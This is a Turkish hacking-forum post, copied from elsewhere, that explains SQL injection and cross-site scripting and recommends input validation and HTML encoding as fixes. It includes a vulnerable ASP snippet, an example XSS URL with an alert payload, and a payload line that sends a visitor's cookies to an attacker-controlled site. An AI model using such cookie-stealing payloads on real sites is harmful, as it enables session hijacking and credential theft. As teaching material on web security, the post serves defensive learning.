Web Uygulamalarında Kullanılan Kodların Güvenliği

web uygulamanızı yüklediğiniz sunucuların kendi çaplarında bir takım güvenlik uygulamaları vardır fakat bu uygulamalar sunucuda size ait olan web alanın tamamen güvende olduğu anlamına gelmemelidir.veritabanınız ile birlikte kullandığınız web programlama dilinin içeriğindeki kodların güvenliğini sağlamak sunucunuzdan önce sizin sorumluluğunuzdadır.özellikle istemci tarafında çalışan kodları abuse etmek daha mümkün olduğudan,bu tür eylemlere tedbir almak ta kaçınılmaz olmaktadır.

şimdi, web uygulamarında en sık karşılaşılan güvenlik açıkları ve açıklardan yapılan saldırılardan bahsedelim:

1 - Web Uygulamalarında Sql Sorgularının Değiştirilebilmesi:

web uygulamalarında bazı bilgilerin tutulabilmesi için sql veritabanları kullanılmaktadır.uygulama geliştiricileri,bazı durumlarda kullanıcılardan gelen verileri beklenen veri türü ile karşılaştırmayarak sql soruları içinde kullanmaktadırlar.genel olrak problemler,uygulama geliştiricinin sql sorgularında anlam ifade edebilecek ' ;UNION gibi kötü niyetli karakterlere karşı bir önlem alınmadığı zaman orataya çıkmaktadır.bu durum kullanıcıya önceden planlanmamış uygulama düzeyide erişim sağlayabilir.içinde sql sorgulama barındıran bir çok ürün sql sorguları değiştirilebilmesine (sql injection) karşı savunmasızdır.saldırganlar sql sorgularını değiştirme tekniklerini web sitelerine ve uygulamalarına zarar vermek amaçlı kullanmaktadırlar.sql enjeksiyon ile saldırgan bir tablo yaratabilir,değişiklikler yapalabilir,veritabanı üzerinde erişim sağlayabilir beya veritabanı kullanıcısının hakları doğrultusunda sunucuda komut çalıştırabilir.

Çözüm Önerileri :

Uygulamanın tüm bileşenlerinde kullanılan değişkenler için kontroller oluşturulmalı ve değişkene atanması beklenen veri türü ile kullanıcı girdisi karşılaştırılmalıdır.beklenen girdi türünden farklı karakterler saptanması durumunda, karakterler sql sorfgularında anlam ifade etmeyecek biçimde değiştirilmeli ,silinmeli veya kullanıcıya uyarı mesajı döndürülmelidir.tercihen uygulamanın tamamı için geçerli olacak,değişken türü ve atanabilecek girdi türünü parametre olarak alan ve kontrolleri yaptıktan sonra girdi kabul sonucu üreten sabit bir fonksiyon tercih edilmelidir.

2 - Web Uygulamalarında Çapraz Kod Çalıştırma (Cross Site Scripting) :

http://www.ayyildiz.org/ayt/forum/sh...ad.php?t=11059 GENÇTÜRK'ün anlatımı xss
http://www.ayyildiz.org/ayt/forum/sh...ad.php?t=26378 ENO-7 'nin anlatımı xss

bu konulardan xss,css in ne olduğunu hazmetmeniz gereklidir arkadaşlar yoksa anlamakta zorlanabilirsiniz anlattıklarımı

Başka siteden kod çalıştırma (cross site scripting) açıkları bir saldırganın hedef web sitesi aracılığıyla site ziyaretçilerinin sisteminde komut çalıştırabilmesine olanak tanımaktadır.saldırı sonucu olarak site ziyaretçilerinin browserlarında bulunabilecek güvenlik açıklarının kullanılması , JavaScript/ActiveX ve VbScript komutlarının çalıştırılmasını mümkün kılmaktadır.Bu tür komutlar ile kullanıcıya ait site çerezleri alınabilir, kaydedilmiş şifreler çalınabilir veya browser'da bulunabilecek güvenlik açıkları ile kullanıcı sistemi ele geçirebilir.ayrıca elektronik ticaret veya bankacılık uygulamaları için sahte giriş ekranları oluşturularak ziyaretçilerin yanıltılması ve sonucunda kullanıcıya ait önemli bilgilerin ele geçirilmesi mümkün olabilir.

Çözüm Önerileri :

Uygulamanın tüm bileşenlerinde kullanılan değişkenler için kontroller oluşturulmalı ve değişkene atanması beklenen veri türü ile kullanıcı girdisi karşılaştırılmalıdır.Beklenen girdi türünden farklı karakterler (örn. <>/;()) saptanması durumunda, karakterler anlam ifade etmeyecek şekilde değiştirmeli,silinmeli veya kullanıcıya uyarı mesajı döndürülmelidir.Tercihen uygulamanın tamamı için geçerli olacak ,değişken türü ve atanabilecek girdi türünü parametre olarak alan ve kontrolleri yaptıktan sonra girdi kabul sonucu üreten sabit bir fonksiyon tercih edilmelidir.

Çapraz site kod çalıştırma ve önlem alma yöntemleri :

Site çapında kodlama zaafları Web’e özgü sorunlardır ve istemcinin verilerinin tek bir Web sayfasındaki gedik nedeniyle bozulmasına neden olabilir. Aşağıdaki kod bölümüne bakın:

<script language=Jscript>
Response.Write("Hello, " + Request.QueryString("name"));
</script>
[bu kodu çalıştırdığınızda browser de name değişkenine karışılık gelen değer alınarak (mesela name = "ali" olsun ) ekranınıza "Hello Ali" yazdıracaktır.]

Kaçınız böyle bir kodu gördü? Bunun hatalı olduğunu öğrenmek sizi şaşırtabilir! Normal koşullarda, bir kullanıcı bu koda aşağıdakine benzeyen bir URL kullanarak ulaşabilir:

http://explorationair.com/welcome.asp?name=Michael

Oysa saldırganlar bu kodu kötü amaçla kullanarak HTML değerini ad olarak sunar. Aşağıdaki URL değerini yazdıysanız

http://northwindtraders.com/welcome.asp?name=**********alert('hi!');</script>

“merhaba” diyen bir iletişim kutusunun bulunduğu bir web sayfasını görüntülersiniz! “Yani?” dediğinizi duyar gibiyim. Saldırganın kullanıcıyı bunun gibi bir bağlantı hattını tıklamaya ikna ettiğini varsayalım, querystring içerdiği kötü amaçlı komutlar ve HTML ile cookie'lerinizi alır ve saldırganın sitesine yapıştırır; saldırgan artık özel cookie bilgilerine ve başka bilgilere sahiptir.

[ Mesela browser'a :
http://northwindtraders.com/welcome.asp?name=page.go("http://websitem/cookiekaydet.asp?data="+********.cookie) yazip kullanıcıya cookiedeki bilgileri (ki bunlar kullanıcı adı ve şifre olabilir) alabilirdik. ]



Bunu önlemek için iki yöntem kullanabilirsiniz: Birinci olarak, girdilere güvenmeyin ve kullanıcı adının sunumu konusunda katı olun. Örneğin, adın sadece ortak karakter alt kümesini içerdiğini ve aşırı büyük olmadığını denetleyen olağan ifadeler kullanabilirsiniz.​



İkinci savunma ise, çıktı olarak kullanıldığında, tüm girdileri HTML-şifreli hale getirmektir. Bu yöntem tehlikeli HTML etiketlerini eler ve daha güvenilir kaçış karakterlerini geride bırakır. Sorun olabilecek dizilerden ASP.NET’te HttpServerUtility.HtmlEncode ile veya ASP’de Server.HTMLEncode ile kaçabilirsiniz.


ALINTIDIR..!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
Son düzenleme:
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.